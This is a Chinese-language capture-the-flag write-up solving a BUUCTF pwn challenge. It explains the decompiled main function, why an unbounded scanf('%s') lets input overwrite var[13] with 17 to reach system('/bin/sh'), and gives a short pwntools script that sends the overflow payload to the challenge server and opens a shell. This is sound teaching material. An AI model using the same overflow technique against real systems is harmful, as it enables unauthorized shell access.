还是得写一篇来帮助自己更加清晰地了解pwn的一些机制。
首先check一下该程序的基本信息
发现这里是32位小端序,并且开启了很多保护,将文件拖入ida32看看
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
system函数可以很明显地看到,但需要符合上面的if条件,使 *(_QWORD *)&var[13]==17LL 成立
(1)_QWORD 是64位(bit)类型,对应8个字节(byte)(因为 1byte=8bit )这里是将var数组的第13个元素 开始的8个字节 作为一个64位的整数进行读取。
(2)&var[13] 表示获取var数组中第13个元素的内存地址,这个地址指向了该元素在内存中的起始位置。
(3)(_QWORD *)&var[13] 使用了强制类型转换,将var[13]得到的地址强制转换为 _QWORD 类型的指针。这意味着,把从 var[13] 开始的内存区域当做一个64位(8字节)的整体来处理。
但var数组的一个元素占 4个字节,所以从 var[13] 开始,var[13]和var[14] 需要组合为 17LL
构造输入时需要覆盖 var[13]为17 var[14]为0(但var[14]一开始就已经是0了)所以只需要覆盖var[13]为17就可以了。
再来看看可以怎样进行覆盖
__isoc99_scanf("%s", var, v4, v5);
这里的 %s 格式说明符没有指定最大输入长度,如果用户输入的字符串长度超过了 var 数组所分配的内存空间,scanf 会继续将多余的字符写入到 var 数组后面的内存区域
所以我们可以这样进行覆盖:
1. var[0] 到 var[12] 占据前 13*4=52 字节
2.构造输入覆盖 var[13] 为17
from pwn import *
p=remote("node5.buuoj.cn",27754)
payload=b'A'*(13*4)+p32(17)
p.sendline(payload)
p.interactive()